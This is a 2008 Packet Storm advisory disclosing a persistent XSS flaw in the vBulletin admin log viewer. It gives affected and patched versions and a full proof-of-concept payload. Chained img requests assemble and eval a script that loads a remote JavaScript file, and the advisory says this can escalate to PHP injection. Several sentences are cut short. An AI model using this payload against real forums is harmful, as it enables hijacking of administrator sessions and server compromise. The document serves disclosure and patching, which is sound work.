Type packetstorm
Reporter Jessica Hope
Modified 2008-07-10T00:00:00


Advisory : XSS in admin logs  
Release Date : July 06th 2008  
Application : vBulletin  
Version : vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower  
Platform : PHP  
Vendor URL : http://www.vbulletin.com/  
Authors : Jessica Hope (jessicasaulhope@googlemail.com),  
Friends who wish to remain anonymous.  
Due to various failures in sanitising user input, it is possible to  
construct XSS attacks that are rather damaging.  
The XSS in question exists on the log viewing page of the admin control panel.  
When a missing page is requested, a log is created in the admin area, however  
the inputs to this log lack sanitation. The script name is taken from  
basename(PHP_SELF), while the action is taken from _REQUEST['do']. Either one  
can be used for introducing XSS vectors.  
To highlight the severity and underline the fact that his vulnerability is  
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />  
<img src="http://localhost/vB/upload/admincp/faq.php/1?do=*/a%3D'document.wri'/*"  
<img src="http://localhost/vB/upload/admincp/faq.php/2?do=*/b%3D'te(%22<script  
'/*" />  
<img src="http://localhost/vB/upload/admincp/faq.php/3?do=*/c%3D'src=http://'/*"  
<!--edit to match your data -->  
<img src="http://localhost/vB/upload/admincp/faq.php/4?do=*/d%3D'localhost/'/*"  
<img src="http://localhost/vB/upload/admincp/faq.php/5?do=*/e%3D''/*" />  
<img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.js></scrip'/*"  
<!-- end edit -->  
<img src="http://localhost/vB/upload/admincp/faq.php/7?do=*/g%3D't>%22)'/*" />  
<img src="http://localhost/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"  
<img src="http://localhost/vB/upload/admincp/faq.php/9?do=*/eval(h)/*" />  
<img src="http://localhost/vB/upload/admincp/faq.php/a0?do=*/</script>" />  
You then need to send the admin to  
and the XSS will render.  
The limits on the XSS:  
basename(PHP_SELF) is 50 characters max and no slashes  
_REQUEST['do'] is limited to 20 characters, but no character restriction.  
The tight character limits on the unsanitized parameters are not  
mitigating the severity, as unlimited  
attack space can be obtained as shown above.  
As per my last exploits, all XSS in the vBulletin ACP can be used for  
PHP injection instantly. This  
is due to the design of the vBulletin hooks feature. As this  
particular XSS is persistent and will  
render in all major browsers it is particularly dangerous.  
Update to vBulletin 3.7.2 PL1 or vBulletin 3.6.10 PL3  
Don't trust PHP_SELF and sanitise all data that is going to be  
displayed to the user